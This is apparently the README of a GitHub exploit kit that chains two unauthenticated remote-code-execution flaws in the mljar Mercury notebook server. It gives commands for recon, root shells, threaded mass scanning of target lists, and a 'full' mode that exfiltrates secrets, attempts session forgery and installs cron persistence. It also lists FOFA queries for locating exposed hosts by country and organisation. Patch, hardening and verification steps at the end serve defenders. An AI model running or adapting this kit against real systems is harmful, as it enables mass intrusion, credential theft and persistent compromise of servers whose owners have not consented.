Combo de RCE no autenticado en Mercury: CVE-2026-111058 (kernels) + CVE-2026-111057 (terminals). Por 0xNuts (@ExDev994). Solo para pruebas autorizadas.
Kit de herramientas combinado de RCE no autenticado de Mercury (kernels + terminales).
Kit que combina dos RCE no autenticados en mljar/mercury:
| CVE | Aviso | Vector |
|---|---|---|
| CVE-2026-111058 | GHSA-rv4m-xm3f-3ccq | /api/kernels + execute_request |
| CVE-2026-111057 | GHSA-f8c7-rwf9-fmgm | omisión de la lista de bloqueo de /api/terminals |
Autor: 0xNuts (ExDev994)
Solo para pruebas autorizadas (laboratorio local / objetivos con permiso por escrito). El uso indebido en sistemas sin autorización es ilegal.
# URL repo GitHub memakai `-` (GitHub tidak mengizinkan `+` di nama repo)
git clone https://github.com/ExDev994/CVE-2026-111058-CVE-2026-111057-mercury-rce.git
cd CVE-2026-111058-CVE-2026-111057-mercury-rce
python3 -m venv .venv
source .venv/bin/activate # Windows: .venv\Scripts\activate
pip install -r requirements.txt
python exploit.py --lab
Espera a que Docker termine de compilar, luego:
| URL | CVE activos |
|---|---|
| http://localhost:8883 | CVE-2026-111057 + CVE-2026-111058 (Mercury 3.2.3) |
| http://localhost:8885 | solo CVE-2026-111058 (Mercury 3.2.5) |
# Cek vuln (POST terminals + kernels)
python exploit.py -t http://localhost:8883 -m recon
# PoC RCE (default: kernel / CVE-2026-111058)
python exploit.py -t http://localhost:8883 -m rce
# Shell via terminal (CVE-2026-111057, hanya di 3.2.3 lab)
python exploit.py -t http://localhost:8883 -m rce --sink terminals
Edita targets.txt (una URL por línea), luego:
python exploit.py -m mass -tf targets.txt -rf results.txt --threads 10
Auto puerto (solo modo mass): si la línea no tiene puerto (p. ej. example.com), la herramienta intenta en orden:
http://example.com → 80, o https:// → 443)Se detiene en la primera URL que sea vuln. Las líneas que ya tienen puerto (http://host:8883) no se expanden.
Ejemplo de targets.txt:
# tanpa port → auto-fallback
example.com
mercury.internal
# dengan port → dipakai apa adanya
http://localhost:8883
192.168.1.50:8888
Terminal (verbose): cada puerto que se intenta + estado final por línea de destino:
example.com [trying...]
example.com:8888 [trying...]
example.com:8000 [trying...]
example.com:5000 [trying...]
example.com [not vuln]
evil.com:8888 [trying...]
evil.com:8888 [vuln] [uid=0(root) gid=0(root) groups=0(root)]
Archivo results.txt — solo los vulnerables (append):
http://evil.com:8888 [uid=0(root) gid=0(root) groups=0(root)]
python exploit.py -t http://localhost:8883 -m full --out exfil.json --cron
Orden: recon → RCE → exfil secret → intento de forge session → persistencia.
| Flag | Función |
|---|---|
-t / --target | URL de Mercury (http://host:port) |
-m / --mode | recon, rce, exfil, full, persist, mass |
--sink | auto, kernels, terminals |
-tf | Archivo de lista de objetivos (modo mass) |
-rf | Archivo de resultados de vuln (modo mass) |
-th | Número de hilos del mass scan |
--lab | docker compose up en la carpeta lab/ |
POST /api/terminals y POST /api/kernels para fingerprint de versión.kernels (stealth), fallback terminals (shell interactivo).idle_timeout.py, cron opcional (lab).El PoC determinista escribe el marker /tmp/PWNED_MERCURY_RCE (ver poc/payloads.py).
mercury-combo/
├── exploit.py
├── mercury_combo/ # modul inti
├── lab/ # docker-compose + Dockerfile 3.2.3 / 3.2.5
└── poc/ # payload marker
FOFA solo ayuda a encontrar candidatos de exposición — no pruebas de vulnerabilidad. Siempre valida manualmente y respeta el alcance del permiso.
Empieza acotado (branding):
title="Mercury"
body="runmercury" || body="mljar-mercury"
Reforzar (Jupyter + Mercury):
(title="Mercury" || body="mljar") && port="8888" && protocol="http"
header="X-Jupyter-Server-Version" && (body="mercury" || title="Mercury")
body="/api/kernels" && body="mercury" && server="Tornado"
Alcance geográfico / org (ejemplo):
title="Mercury" && country="ID"
body="mljar" && port="8888" && org="Amazon"
Una vez que tengas el host, verifica con este toolkit (-m recon o -m mass en el laboratorio/con autorización), no escanees de forma masiva sin autorización.
| Problema | CVE / aviso | Corrección |
|---|---|---|
Coma faltante en BLOCKED_PATTERNS → /api/terminals pasa | GHSA-f8c7-rwf9-fmgm | Actualizar a ≥ 3.2.4 (commit de parche en v3.2.4). Asegúrate de que /api/terminals esté realmente bloqueado. |
/api/kernels sigue pudiendo execute_request sin autenticación | GHSA-rv4m-xm3f-3ccq | La lista de bloqueo no es suficiente — se requiere obligatoriamente autenticación (token/contraseña de Jupyter) por defecto; no despliegues token='' a internet. Vigila la versión de Mercury > 3.2.5 para el parche oficial. |
Lista de verificación de hardening:
8888 (o el puerto de Mercury) directamente a internet; colocarlo detrás de una VPN o un proxy inverso con autenticación (OAuth, mTLS, lista de IP permitidas).POST /api/kernels + POST /api/terminals desde IP anónimas; picos de WebSocket hacia /api/kernels/*/channels y /terminals/websocket/*.Verificación tras el parche:
# Harus 403/401 tanpa kredensial (bukan 201)
curl -i -X POST https://your-host/api/terminals
curl -i -X POST https://your-host/api/kernels -H 'Content-Type: application/json' -d '{"name":"python3"}'